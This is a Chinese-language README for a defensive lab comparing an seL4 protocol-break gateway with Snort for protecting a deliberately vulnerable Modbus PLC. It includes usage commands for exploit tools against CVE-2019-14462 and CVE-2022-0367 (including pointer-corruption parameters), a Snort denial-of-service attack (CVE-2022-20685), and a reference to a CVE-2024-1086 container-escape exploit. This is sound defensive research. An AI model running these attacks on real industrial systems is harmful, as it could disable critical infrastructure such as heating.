一个防御性安全研究项目,比较**协议中断(protocol-break)与数据包转发(packet-forwarding)**架构在保护工业控制系统免受网络攻击方面的优劣。
文档:
现代 ICS/SCADA 系统面临诸如 FrostyGoop 之类的复杂攻击——该恶意软件于 2024 年 1 月通过 Modbus TCP 攻击乌克兰的区域供热系统,导致 600 多个家庭在零度以下的气温中失去供暖。传统安全解决方案(防火墙、IDS)采用数据包转发架构,虽然能在线检查流量,但会维持一条端到端的 TCP 连接。
本项目演示了一种替代方案:使用经过形式化验证的 seL4 微内核 构建的协议中断网关。该架构通过终止 TCP 连接,并在与受保护设备建立新连接之前校验协议语义,从而提供更强的安全保证。
| 方面 | 协议中断(seL4) | 数据包转发(Snort) |
|---|---|---|
| CVE-2019-14462 | 已阻断(长度校验) | 已检测(Quickdraw 规则) |
| CVE-2022-0367 | 已阻断(地址校验) | 已检测(自定义规则) |
| CVE-2022-20685 | 免疫(无预处理器) | 易受攻击(IDS DoS) |
| CVE-2024-1086 | 免疫(无 Linux 内核) | 易受攻击(共享宿主内核) |
| 未知变种 | 已阻断(结构校验) | 漏报(无签名) |
| TCP 状态攻击 | 已阻断(连接已终止) | 可能 |
| 攻击面 | 约 1,000 行代码(微内核) | 约 500,000 行代码(Linux + Snort) |
┌─────────────────────────────────────────────────────────────────────────────┐
│ Docker Network: ics-untrusted (192.168.96.0/24) │
│ │
│ ┌───────────────────────┐ ┌───────────────────────┐ │
│ │ seL4 Gateway │ │ Snort IDS │ │
│ │ Port 502 │ │ Port 503 │ │
│ │ │ │ │ │
│ │ • Protocol-break │ │ • Packet-forwarding │ │
│ │ • TCP termination │ │ • Inline inspection │ │
│ │ • Length validation │ │ • Rule-based detection│ │
│ └───────────┬───────────┘ └───────────┬───────────┘ │
│ │ │ │
├───────────────┼───────────────────────────────┼─────────────────────────────┤
│ Docker Network: ics-protected (192.168.95.0/24) │
│ │ │ │
│ └───────────────┬───────────────┘ │
│ ▼ │
│ ┌───────────────────────────────┐ │
│ │ PLC (District Heating) │ │
│ │ Vulnerable libmodbus 3.1.2 │ │
│ │ Port 5020 (direct access) │ │
│ └───────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────────────────┘
# Place your seL4 kernel image at:
gateway/sel4-image/capdl-loader-image-arm-qemu-arm-virt
# Build all containers
sudo docker compose build
# Start individual containers
sudo docker compose up plc # PLC only
sudo docker compose up gateway # seL4 gateway + PLC
sudo docker compose up snort # Snort IDS + PLC
# Start all
sudo docker compose up
# Through seL4 gateway (protected - protocol-break)
echo -ne '\x00\x01\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01' | nc localhost 502 | xxd
# Through Snort IDS (protected - packet-forwarding)
echo -ne '\x00\x01\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01' | nc localhost 503 | xxd
# Direct to PLC (unprotected - vulnerable)
echo -ne '\x00\x01\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01' | nc localhost 5020 | xxd
| 端口 | 路径 | 架构 | 防护 |
|---|---|---|---|
| 502 | 客户端 → seL4 → PLC | 协议中断 | 校验 Modbus 结构 |
| 503 | 客户端 → Snort → PLC | 数据包转发 | 基于规则的 IDS |
| 5020 | 客户端 → PLC(ASAN) | 直连 | CVE-2022-0367 模式 |
| 5022 | 客户端 → PLC | 直连 | CVE-2019-14462 模式(profile: cve14462) |
注意: 默认 PLC 现在以 ASAN 运行在 CVE-2022-0367 模式。测试 CVE-2019-14462 时请使用
--profile cve14462。
PLC 使用刻意引入漏洞的 libmodbus 3.1.2。该攻击利用受信任的 MBAP 长度字段:
# Start PLC in CVE-2019-14462 mode
sudo docker compose --profile cve14462 up plc-14462
# Build attack tools
cd cve_tools && make
# Attack unprotected PLC (crashes)
./cve_14462_attack 127.0.0.1 5022
# Attack through seL4 (BLOCKED)
./cve_14462_attack 127.0.0.1 502
# Attack through Snort (DETECTED by Quickdraw rules)
./cve_14462_attack 127.0.0.1 503
modbus_mapping_new_start_address() 中的一个边界检查缺陷允许通过功能码 0x17(写多个寄存器并读多个寄存器)触发堆下溢:
# Default PLC runs in CVE-2022-0367 mode with ASAN
sudo docker compose up plc
# Build attack tools
cd cve_tools && make
# Attack PLC - ASAN will detect heap-buffer-overflow
./cve_0367_attack 127.0.0.1 5020
# Attack with custom parameters
./cve_0367_attack 127.0.0.1 5020 88 0x4141 # Corrupt tab_registers pointer
./cve_0367_attack 127.0.0.1 5020 72 0xFFFF # Corrupt nb_registers
# Attack through seL4 (BLOCKED - address validation)
./cve_0367_attack 127.0.0.1 502
# Attack through Snort (DETECTED by custom rules)
./cve_0367_attack 127.0.0.1 503
技术细节:
start_registers=100,有效地址为 100-109write_address < 100,导致数组索引为负mb_mapping 结构体字段,包括指针Snort 2.9.18 的 Modbus 预处理器存在一个整数溢出问题,会导致无限循环,从而完全阻断通过该 IDS 的所有流量:
# 1. Verify Snort is working (should return Modbus response)
echo -ne '\x00\x01\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01' | nc -w 2 localhost 503 | xxd
# 2. Attack the Snort IDS
./cve_20685_attack 127.0.0.1 503
# 3. Verify Snort is frozen (should timeout with NO response)
echo -ne '\x00\x01\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01' | nc -w 5 localhost 503 | xxd
# 4. Check Snort CPU (should be 100%)
sudo docker exec ics-snort top -b -n 1 | grep snort
# 5. seL4 is IMMUNE (no Modbus preprocessor to exploit)
./cve_20685_attack 127.0.0.1 502 # No effect on seL4
# 6. Restart Snort after demo
sudo docker compose restart snort
为何影响巨大: Snort 使用 NFQUEUE 内联模式,意味着数据包会一直滞留在内核队列中,直到 Snort 返回判定结果。当 Snort 挂起时,不会返回任何判定,所有流量都会停止——这不仅是 IDS 失明,而是彻底的拒绝服务。
Linux netfilter nf_tables 中的一个释放后使用(use-after-free)漏洞(影响内核 v5.14-v6.6)可导致容器逃逸:
# Check if host is vulnerable
uname -r # Vulnerable: v5.14 - v6.6 (before patches)
# The exploit is available at:
ls cve_tools/cve-2024-1086/
为何这很重要: Docker 容器共享宿主内核。如果攻击者攻陷了 Snort(例如通过 CVE-2022-20685),就可能利用 CVE-2024-1086 逃逸容器并获取宿主机 root 权限。seL4 对此免疫,因为它运行的是极简微内核,而不是 Linux。
# Full demo with 4 quadrants (PLC, seL4, Snort, User terminal)
./scripts/demo.sh
# Snort-only demo with 3 panes (PLC, Snort, User terminal)
./scripts/demo-snort.sh
# Run automated comparison
./scripts/run_comparison.sh
提供了多种 Snort 配置,用于基准测试检测效率:
| 配置 | 命令 | 规则数 | 说明 |
|---|---|---|---|
| default | docker compose up snort | 12 | Quickdraw(行业标准) |
| quickdraw | --profile snort-quickdraw | 12 | 仅 Digital Bond Quickdraw |
| talos | --profile snort-talos | 40 | Talos 风格,带 modbus_func 关键字 |
| modbus | --profile snort-modbus | 13 | 仅自定义 CVE 检测规则 |
| combined | --profile snort-combined | 65 | 所有规则组合 |
# Run Snort with specific profile
sudo docker compose --profile snort-talos up
# Compare detection efficiency
sudo docker compose --profile snort-quickdraw up -d
./cve_tools/cve_0367_attack 127.0.0.1 503 # Test detection
sudo docker compose --profile snort-quickdraw down